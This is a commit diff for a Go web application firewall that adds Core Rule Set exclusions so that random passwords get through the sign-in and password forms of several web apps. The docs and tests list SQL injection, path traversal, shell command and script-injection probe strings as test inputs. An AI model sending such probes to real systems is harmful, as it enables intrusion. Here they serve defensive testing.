Compare commits
9
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4c5aef63bc | ||
|
|
f64752e3b7 | ||
|
|
abb8a26a48 | ||
|
|
aeaa9d1c77 | ||
|
|
db0912b335 | ||
|
|
8ab4280792 | ||
|
|
3268ec95c1 | ||
|
|
fb25f5ebd2 | ||
|
|
f8d769fc17 |
No files matched your search
+24
-2
@@ -12,7 +12,7 @@ RUN go mod download
|
||||
|
||||
COPY . .
|
||||
|
||||
RUN golangci-lint run --config .golangci.yml ./...
|
||||
RUN golangci-lint run --config .golangci.yml --build-tags recorded ./...
|
||||
|
||||
# Test phase, same shape and for the same reason. The go directive in
|
||||
# go.mod is a minimum, so this Go may be newer than the linter's. The
|
||||
@@ -20,7 +20,7 @@ RUN golangci-lint run --config .golangci.yml ./...
|
||||
# needs the C compiler it carries.
|
||||
#
|
||||
# golang 1.27.1-trixie, 2026-09-19
|
||||
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test
|
||||
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test-setup
|
||||
|
||||
WORKDIR /src
|
||||
|
||||
@@ -35,14 +35,36 @@ COPY . .
|
||||
RUN go mod tidy -diff || \
|
||||
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
|
||||
|
||||
# The two passes below are separate stages so that BuildKit runs them at
|
||||
# the same time; they share no compiled code, because -race changes every
|
||||
# package's build.
|
||||
#
|
||||
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
|
||||
# after this step, and writing it into the image takes seconds. The tests
|
||||
# are built with the no_fs_access tag, as the binary is in the build stage.
|
||||
FROM test-setup AS test-race
|
||||
|
||||
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
||||
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
|
||||
{ echo "--- Rerunning with -v for details ---"; \
|
||||
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
|
||||
|
||||
# Second pass: the recorded requests, too slow for make test under -race.
|
||||
FROM test-setup AS test-recorded
|
||||
|
||||
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
||||
go test -tags no_fs_access,recorded -timeout 90s -cover -run '^TestOrdinary' ./internal/coreruleset/... || \
|
||||
{ echo "--- Rerunning with -v for details ---"; \
|
||||
go test -tags no_fs_access,recorded -timeout 90s -run '^TestOrdinary' -v ./internal/coreruleset/...; exit 1; }
|
||||
|
||||
# The test phase that script/test and the build stage name. Nothing is
|
||||
# wanted from the two passes; the copies are what make BuildKit run them.
|
||||
# It holds nothing else, so script/test's image takes no time to write.
|
||||
FROM scratch AS test
|
||||
|
||||
COPY --from=test-race /src/go.sum /src/go.sum
|
||||
COPY --from=test-recorded /src/go.sum /src/go.sum
|
||||
|
||||
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
|
||||
# writes pass the test phase's check. Nothing else depends on it, so only
|
||||
# script/tidy, which names the stage after it, builds it.
|
||||
|
||||
@@ -602,6 +602,13 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
||||
WebDAV methods, searches, file names, account names, comments and
|
||||
documents do too.
|
||||
- A random password, as a password manager makes one, gets through these forms:
|
||||
- signing in, signing up, and changing or resetting a password, on
|
||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
|
||||
- moving or deleting the account, on Mastodon;
|
||||
- deleting the account, on gitea;
|
||||
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
||||
password, not the password itself.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||
fields or paths.
|
||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||
@@ -695,7 +702,8 @@ on the host.
|
||||
- `script/projectname`: prints `smallwebwaf`, which the other scripts tag their
|
||||
images with.
|
||||
- `script/test`: checks that `go.mod` and `go.sum` are tidy, then runs the
|
||||
tests, as the `test` phase of the `Dockerfile`. `make test`.
|
||||
tests, as the `test` phase of the `Dockerfile`. It runs them twice: once with
|
||||
the race detector, and once without it for the recorded requests. `make test`.
|
||||
- `script/tidy`: writes `go.mod` and `go.sum` as `go mod tidy` writes them, in
|
||||
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
||||
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
||||
|
||||
@@ -858,6 +858,27 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
- to list a directory's last commits.
|
||||
- The `Content-Range` header of an artifact upload from
|
||||
`actions/upload-artifact@v3` (920450).
|
||||
- The passwords in a body, for each rule that random passwords set off. The
|
||||
numbers are in `internal/coreruleset/gitea.conf`.
|
||||
- `password` on these paths:
|
||||
- `/user/login`, `/user/sign_up`, `/user/activate`;
|
||||
- `/user/link_account_signin` and `/user/link_account_signup`;
|
||||
- `/user/recover_account`, which resets a password;
|
||||
- `/user/settings/change_password` and `/user/settings/account`;
|
||||
- `/user/settings/account/delete`;
|
||||
- `/-/admin/users/new` and `/-/admin/users/<id>/edit`, and the same
|
||||
paths under `/admin/`.
|
||||
- `retype` on `/user/sign_up`, `/user/link_account_signup`,
|
||||
`/user/settings/change_password` and `/user/settings/account`.
|
||||
- `old_password` on `/user/settings/account`.
|
||||
- `password` in the JSON body of `/api/v1/admin/users` and each user
|
||||
under it.
|
||||
|
||||
Each field listed skips these rules on every path listed, not only on
|
||||
the paths given for it. None applies when the query has a parameter of
|
||||
the same name. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd`
|
||||
and `<img src=x onerror=x()>` sent as the password reach gitea;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
Elsewhere these fields keep every rule. The paths are those of gitea at the
|
||||
site root. An app other than gitea that serves one of them must check these
|
||||
@@ -919,7 +940,34 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
||||
- `newcontent` of a plugin's or a theme's file saved from its editor,
|
||||
which is PHP.
|
||||
- `pwd` when signing in, for the list of system files (930120).
|
||||
- `pwd`, the password when signing in, for each rule that random
|
||||
passwords set off:
|
||||
|
||||
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130,
|
||||
932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340,
|
||||
932370, 932380, 933100, 933135, 933180, 933210, 941100, 941120,
|
||||
941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
|
||||
942540, 942550, 944150.
|
||||
|
||||
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
|
||||
`<img src=x onerror=x()>` sent as the password reach WordPress;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still
|
||||
refused.
|
||||
|
||||
- `pass1`, `pass2` and `post_password` on `/wp-login.php`, which reset a
|
||||
password and sign in to a protected post, for the same rules.
|
||||
- `pass1` and `pass2` on these pages, for the same rules:
|
||||
- `/wp-admin/profile.php`;
|
||||
- `/wp-admin/user-edit.php`;
|
||||
- `/wp-admin/user-new.php`;
|
||||
- `/wp-admin/network/user-edit.php`, `/wp-admin/network/profile.php`
|
||||
and `/wp-admin/user/profile.php`, on a multisite install.
|
||||
|
||||
Each of `pass1`, `pass2` and `post_password` skips these rules on
|
||||
all of these pages and on `/wp-login.php`.
|
||||
|
||||
- `password` in form data or JSON on the REST API's `/wp/v2/users` and
|
||||
the user under it, for the same rules.
|
||||
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
|
||||
route under `/wp/v2/`, for the rules on system files and commands
|
||||
(930120, 932120, 932250, 932260).
|
||||
@@ -987,6 +1035,29 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
- The body and comment body on the node and comment forms and through
|
||||
JSON:API, which hold HTML and any code it shows.
|
||||
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
||||
- `pass`, the password when signing in, in form data or JSON, for each rule
|
||||
that random passwords set off:
|
||||
|
||||
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
|
||||
|
||||
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
|
||||
`<img src=x onerror=x()>` sent as the password reach Drupal;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
- The other passwords, for the same rules:
|
||||
- `pass[pass1]`, `pass[pass2]` and `current_pass` on `/user/register`,
|
||||
`/user/<id>/edit` and `/admin/people/create`;
|
||||
- `pass.value`, `pass.0.value` and `pass.0.existing` in the JSON body of
|
||||
`/user/register` and `/user/<id>`;
|
||||
- `data.attributes.pass.value` and `data.attributes.pass.existing` in
|
||||
the JSON:API body of `/jsonapi/user/user` and each user under it.
|
||||
|
||||
Each field listed skips these rules on every path listed, not only on
|
||||
the paths given for it.
|
||||
|
||||
- `name` when resetting a password through Drupal's JSON format on
|
||||
`/user/password`, for the same four rules.
|
||||
- `mail` in that same reset, for 932120 and 932260 only.
|
||||
@@ -1066,6 +1137,28 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
- `wpTextbox1` on MediaWiki's pages;
|
||||
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
||||
- `source` in the JSON body of `/rest.php/`.
|
||||
- The passwords when signing in, signing up and changing a password:
|
||||
- `wpPassword` on MediaWiki's pages;
|
||||
- `password` and `retype` on `Special:ChangeCredentials`;
|
||||
- `retype` on `Special:CreateAccount`;
|
||||
- `retype` on `Special:UserLogin`, where a password reset sets the new
|
||||
password;
|
||||
- `lgpassword`, `password` and `retype` on `/api.php`.
|
||||
|
||||
They skip each rule that random passwords set off:
|
||||
|
||||
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
|
||||
|
||||
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
|
||||
`<img src=x onerror=x()>` sent as a password reach MediaWiki;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
The path must name the special page, or be `/index.php` with a `title`
|
||||
that names it. Other apps use `password` and `retype` too, so on any
|
||||
other page those two fields keep every rule.
|
||||
|
||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||
applies when the query has a parameter of the same name.
|
||||
@@ -1192,6 +1285,33 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
Each name contains `.forward`, a file in a home folder. So 930120 refused
|
||||
every report the web app sent. The keys' values keep every rule.
|
||||
|
||||
The passwords in a body:
|
||||
- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
|
||||
under them:
|
||||
- `user[password]`, `user[password_confirmation]` and
|
||||
`user[current_password]`;
|
||||
- `account_migration[current_password]` and
|
||||
`form_redirect[current_password]`;
|
||||
- `form_delete_confirmation[password]`;
|
||||
- `form_challenge[current_password]`, which asks for the password again, on
|
||||
`/auth/challenge`, `/settings/two_factor_authentication` and
|
||||
`/settings/two_factor_authentication_methods`, and the paths under them;
|
||||
- `password` on `/api/v1/accounts`, in form data or JSON.
|
||||
|
||||
They skip each rule that random passwords set off:
|
||||
|
||||
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
|
||||
|
||||
Each field in the first two items skips these rules on every path in those
|
||||
items.
|
||||
|
||||
`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
|
||||
`<img src=x onerror=x()>` sent as a password reach Mastodon;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||
applies when the query has a parameter of the same name.
|
||||
|
||||
@@ -1262,6 +1382,17 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
`username` in the query of `/api/hibp/breach`, the data breach report, skips
|
||||
930120, 932120 and 932260 too.
|
||||
|
||||
`token` in the body of `/admin`, the admin token typed on the admin page,
|
||||
skips each rule that random passwords set off. The numbers are in
|
||||
`internal/coreruleset/vaultwarden.conf`. It applies only when the query has
|
||||
no `token` parameter. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd`
|
||||
and `<img src=x onerror=x()>` sent as the token reach Vaultwarden;
|
||||
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
|
||||
|
||||
The apps hash the master password before sending it. So `password` on
|
||||
`/identity/connect/token`, `masterPasswordHash` and `newMasterPasswordHash`
|
||||
hold only base64 and need no exclusion.
|
||||
|
||||
The names of uploaded files skip 920120 on the paths that take attachments
|
||||
and file sends:
|
||||
- `/api/ciphers/<id>/attachment` and the paths under it;
|
||||
@@ -1324,6 +1455,48 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
saves.
|
||||
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
||||
|
||||
`password` in the body of `/login`, the password when signing in, skips each
|
||||
rule that random passwords set off:
|
||||
|
||||
920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
|
||||
|
||||
It applies only when the query has no `password` parameter. `' OR '1'='1`,
|
||||
`../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent
|
||||
as the password reach Nextcloud; `<script>alert(1)</script>` and
|
||||
`javascript:alert(1)` are still refused.
|
||||
|
||||
The other passwords skip the same rules, in form data or JSON. None applies
|
||||
when the query has a parameter of the same name.
|
||||
- `password` on `/login/confirm`, `/lostpassword/set/<token>/<user>`,
|
||||
`/settings/users/changepassword` and a public share's
|
||||
`/s/<token>/authenticate/<page>`.
|
||||
- `oldpassword` and `newpassword` on `/settings/personal/changepassword`.
|
||||
- `recoveryPassword` on `/settings/users/changepassword`.
|
||||
- `oldPassword` and `newPassword` on `/apps/user_ldap/renewpassword`, which
|
||||
changes an expired password, and on
|
||||
`/apps/encryption/ajax/updatePrivateKeyPassword`.
|
||||
- `oldPassword`, `newPassword` and `confirmPassword` on
|
||||
`/apps/encryption/ajax/changeRecoveryPassword`.
|
||||
- `recoveryPassword` and `confirmPassword` on
|
||||
`/apps/encryption/ajax/adminRecovery`.
|
||||
- `password` on the OCS API's `person/check`, which checks a sign-in, and
|
||||
`core/apppassword/confirm`, which confirms the password.
|
||||
- `password` on the OCS API's `cloud/users` and the share API's
|
||||
`apps/files_sharing/api/v1/shares`, each user or share under them, and a
|
||||
share's `send-email`.
|
||||
- `value` on the OCS API's `cloud/users/<id>` when the body's `key` is
|
||||
`password`. A body with more than one `key`, or a `key` or `value` in the
|
||||
query, gets none of this.
|
||||
|
||||
Each field listed but `value` skips these rules on every path listed, not
|
||||
only on the paths given for it.
|
||||
|
||||
`password` on `/login/flow/apptoken` and `/login/v2/apptoken` holds a
|
||||
generated app token, so it needs no exclusion.
|
||||
|
||||
Some fields hold sentences a person writes:
|
||||
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
|
||||
API and on each share under it;
|
||||
@@ -2131,8 +2304,14 @@ no report. Its log line has status `0` and no `disposition`.
|
||||
|
||||
`rproxy` sends the app at `SWRP_UPSTREAM_URL` the visitor's request: the part of
|
||||
the body it holds, then the rest, streaming. The app's answer comes back the
|
||||
same way. Apart from what Go's HTTP code changes, the request reaches the app
|
||||
unchanged but for these headers:
|
||||
same way.
|
||||
|
||||
An app may answer before the visitor has sent its whole body. The visitor gets
|
||||
that answer at once, and the connection closes after it. Once the answer is
|
||||
complete, the rest of the body no longer goes to the app.
|
||||
|
||||
Apart from what Go's HTTP code changes, the request reaches the app unchanged
|
||||
but for these headers:
|
||||
|
||||
- `X-Forwarded-For`, with the address of `rproxy`'s TCP peer added, when that
|
||||
peer is inside `SWRP_TRUSTED_PROXIES`. The peer's other forwarded headers pass
|
||||
@@ -2172,7 +2351,13 @@ These limits apply per request, in both directions:
|
||||
- `SWRP_MAX_RESPONSE_TIME_MS` runs from the end of the request to the last byte
|
||||
of the answer reaching the visitor. The request ends when the app has been
|
||||
sent all of it, or when the app's answer arrives if that is sooner. An answer
|
||||
`rproxy` gives itself has the whole time from when it starts.
|
||||
`rproxy` gives itself has the whole time from when it starts, and never less
|
||||
than 10 seconds. The status and headers of the app's answer also have at least
|
||||
10 seconds to be sent.
|
||||
|
||||
`rproxy` may give its own answer, such as a refusal, before the visitor has sent
|
||||
its whole body. The visitor gets that answer at once, and the connection closes
|
||||
after it.
|
||||
|
||||
The largest request line and headers is 32 KiB. A kept-open connection is closed
|
||||
after 120 seconds idle. Neither has a setting. traefik, by default, closes an
|
||||
|
||||
+3
-2
@@ -436,8 +436,9 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
headers, the time until the app has been sent the whole request. A time or
|
||||
`off`.
|
||||
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
|
||||
from the end of the request to its last byte reaching the visitor. A time or
|
||||
`off`.
|
||||
from the end of the request to its last byte reaching the visitor. An answer
|
||||
`rproxy` gives itself always has at least 10 seconds to be sent, and so do the
|
||||
status and headers of the app's answer. A time or `off`.
|
||||
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
|
||||
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more.
|
||||
|
||||
@@ -1,8 +1,10 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"math/rand/v2"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
@@ -573,38 +575,6 @@ func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||
// Each has the Referer of a page that names the same, as a page opened
|
||||
// from it has.
|
||||
func giteaRequests(t *testing.T) []request {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []request
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
target, header, _ := strings.Cut(line, " ")
|
||||
|
||||
headers := []string{"Referer: http://git.example" + target}
|
||||
if header != "" {
|
||||
headers = append(headers, header)
|
||||
}
|
||||
|
||||
requests = append(requests, get(target, headers...))
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// An SQL injection, a script injection and a shell command after a ";", as
|
||||
// query values. Every app's tests check that its fields still refuse the
|
||||
// first two.
|
||||
@@ -618,140 +588,433 @@ const (
|
||||
// several apps take a password.
|
||||
const passwordField = "password="
|
||||
|
||||
// passwordKey is that field's name, without the "=".
|
||||
const passwordKey = "password"
|
||||
|
||||
// retypeKey is the field in which apps take the same password again.
|
||||
const retypeKey = "retype"
|
||||
|
||||
// hardValues are words that name commands and files, as a query or form
|
||||
// value. An app's tests check that its fields let them through.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||
|
||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||
// requests in the file name in testdata is refused. A request with a body
|
||||
// or a Content-Type header is checked while bodies are read, and any other
|
||||
// request at the defaults. Reading bodies only adds rule matches, so a
|
||||
// request that passes while bodies are read passes at the defaults too;
|
||||
// TestReadingBodiesOnlyAddsMatches checks that. Each request runs as its
|
||||
// own parallel subtest.
|
||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||
// randomPassword returns a password of 20 characters, each one of the 95
|
||||
// printable ASCII characters, space included, drawn from random.
|
||||
func randomPassword(random *rand.Rand) string {
|
||||
const length = 20
|
||||
|
||||
var printable []byte
|
||||
for c := byte(' '); c <= '~'; c++ {
|
||||
printable = append(printable, c)
|
||||
}
|
||||
|
||||
password := make([]byte, length)
|
||||
for i := range password {
|
||||
password[i] = printable[random.IntN(len(printable))]
|
||||
}
|
||||
|
||||
return string(password)
|
||||
}
|
||||
|
||||
// rarePasswords are random passwords from randomPasswords' seed, found among
|
||||
// the first 1,000,000. Each sets off the rule named beside it, which the first
|
||||
// 2,000 do not set off.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var rarePasswords = []string{
|
||||
"x)g|E0f)~.um%00G]<oA", // 920270
|
||||
"uC?mK\\U2fEbXA}~j7fPb", // 920540
|
||||
"4;yfIDKZYNtZT)(w-=%@", // 921200
|
||||
"`sAIfEVdBprjxR$/.?\\d", // 930100
|
||||
"Unt@1xza,:%j$/..;5y+", // 930110
|
||||
"VN.CVsu^3vbUS==4Q&Y@", // 930120
|
||||
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
|
||||
" /\"j14y[%\\(iM]zmG%=^", // 932130
|
||||
"\\f*q5v$]$IfS3JoY:*r1", // 932160
|
||||
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
|
||||
"pErl>vR[Z7K^<f%_4,WZ", // 932260
|
||||
"){2P,GU}a3mYvjq^(p1^", // 932280
|
||||
"xw4UGJk!-8#ZE(`.ij.O", // 932330
|
||||
" XVw(2mN5R,+%~_f\"n<?", // 933100
|
||||
"0ZK1D>`RHb+RW${/(z}C", // 933135
|
||||
"Ep3!qqe 7$RT(_)@SLV6", // 933180
|
||||
"&:4WomDrn$\"(SE_D);Ja", // 933210
|
||||
"='nlIgN7ON\\\\mWt=Tr84", // 941120
|
||||
"P]/C>Ef]F-<sV,&gs.[4", // 941160
|
||||
"<!--a\"9Ju}r!2=J-kZDd", // 941180
|
||||
"@`].*EJ?`Cw^8\\orD!(f", // 942151
|
||||
"StTj*t:IF(Uq_<aG0mya", // 942230
|
||||
"t,D-oJjnvL Dn!o::Int", // 942320
|
||||
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
|
||||
"`aV#3${J4,\\h.q' k\\${", // 944150
|
||||
}
|
||||
|
||||
// randomPasswords returns 2,000 random passwords from a fixed seed, then
|
||||
// rarePasswords.
|
||||
func randomPasswords() []string {
|
||||
const count, seed = 2000, 276
|
||||
|
||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||
|
||||
passwords := make([]string, count, count+len(rarePasswords))
|
||||
for i := range passwords {
|
||||
passwords[i] = randomPassword(random)
|
||||
}
|
||||
|
||||
return append(passwords, rarePasswords...)
|
||||
}
|
||||
|
||||
// passwordBody returns a body of r's type, form data or JSON, that sends
|
||||
// each of passwords in each of names. In JSON, a dot in a name nests the
|
||||
// field: pass.0.value is {"pass":{"0":{"value":password}}}, which Coraza
|
||||
// names as it names the same field sent in an array. Coraza checks each
|
||||
// value of a field on its own, and keeps every value of a JSON key sent more
|
||||
// than once.
|
||||
func passwordBody(t *testing.T, r request, names []string, passwords ...string) string {
|
||||
t.Helper()
|
||||
|
||||
var fields []string
|
||||
|
||||
for _, name := range names {
|
||||
if r.headers[0] != jsonBody {
|
||||
fields = append(fields, formBody(name, passwords...))
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
keys := strings.Split(name, ".")
|
||||
|
||||
for _, password := range passwords {
|
||||
var value any = password
|
||||
for i := len(keys) - 1; i > 0; i-- {
|
||||
value = map[string]any{keys[i]: value}
|
||||
}
|
||||
|
||||
pair, err := json.Marshal(map[string]any{keys[0]: value})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
fields = append(fields, string(pair[1:len(pair)-1]))
|
||||
}
|
||||
}
|
||||
|
||||
if r.headers[0] != jsonBody {
|
||||
return strings.Join(fields, "&")
|
||||
}
|
||||
|
||||
return "{" + strings.Join(fields, ",") + "}"
|
||||
}
|
||||
|
||||
// formBody returns a form data body that sends each of values in the field
|
||||
// name.
|
||||
func formBody(name string, values ...string) string {
|
||||
fields := make([]string, len(values))
|
||||
for i, value := range values {
|
||||
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
|
||||
}
|
||||
|
||||
return strings.Join(fields, "&")
|
||||
}
|
||||
|
||||
// setsOffARule reports whether body, form data sent to / as a browser
|
||||
// sends it, sets off a rule in crs.
|
||||
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
|
||||
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
|
||||
"http://git.example/", strings.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
||||
"Gecko/20100101 Firefox/131.0")
|
||||
req.Header.Set("Accept", "text/html")
|
||||
|
||||
// The body is read from memory, which cannot fail.
|
||||
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
||||
|
||||
return len(result.RuleIDs) > 0
|
||||
}
|
||||
|
||||
// findMisfiringPasswords returns those of randomPasswords that set off a
|
||||
// rule in the form data field password on /, which no exclusion names, while
|
||||
// bodies are read. It runs once, for every test that asks. Each body sends
|
||||
// ten passwords, and a body that sets off a rule is sent again one password
|
||||
// at a time.
|
||||
//
|
||||
//nolint:gochecknoglobals // the tests share it
|
||||
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||
const workers, perBody = 16, 10
|
||||
|
||||
crs, err := loaderFor(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
})()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
passwords := randomPasswords()
|
||||
misfires := make([]bool, len(passwords))
|
||||
|
||||
var inspecting sync.WaitGroup
|
||||
|
||||
for worker := range workers {
|
||||
inspecting.Go(func() {
|
||||
for first := worker * perBody; first < len(passwords); first += workers * perBody {
|
||||
last := min(first+perBody, len(passwords))
|
||||
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
|
||||
continue
|
||||
}
|
||||
|
||||
for i := first; i < last; i++ {
|
||||
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
inspecting.Wait()
|
||||
|
||||
var misfiring []string
|
||||
|
||||
for i, password := range passwords {
|
||||
if misfires[i] {
|
||||
misfiring = append(misfiring, password)
|
||||
}
|
||||
}
|
||||
|
||||
return misfiring, nil
|
||||
})
|
||||
|
||||
// misfiringPasswords returns those of randomPasswords that set off a rule in
|
||||
// a field no exclusion names. The rules that misfire on a password read its
|
||||
// value, not the name of its field. So the other random passwords set off no
|
||||
// rule in any field.
|
||||
func misfiringPasswords(t *testing.T) []string {
|
||||
t.Helper()
|
||||
|
||||
misfiring, err := findMisfiringPasswords()
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
}
|
||||
|
||||
for _, rare := range rarePasswords {
|
||||
if !slices.Contains(misfiring, rare) {
|
||||
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
|
||||
}
|
||||
}
|
||||
|
||||
return misfiring
|
||||
}
|
||||
|
||||
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
|
||||
// field name of r's body, is refused while bodies are read. r's Content-Type
|
||||
// is form data or JSON. Only the passwords misfiringPasswords returns set off
|
||||
// a rule in some field, so only they are sent, all in one body. If it is
|
||||
// refused, each is sent again on its own, to name those refused.
|
||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
crs := readingBodies(t)
|
||||
misfiring := misfiringPasswords(t)
|
||||
names := []string{name}
|
||||
|
||||
for _, recorded := range recordedRequests(t, name) {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
body := passwordBody(t, r, names, misfiring...)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
return
|
||||
}
|
||||
|
||||
for _, password := range misfiring {
|
||||
body := passwordBody(t, r, names, password)
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
|
||||
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
|
||||
password, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
|
||||
// shell command and a script in an event handler, each sent as the whole
|
||||
// password in each of the fields names of r's body, pass while bodies are
|
||||
// read.
|
||||
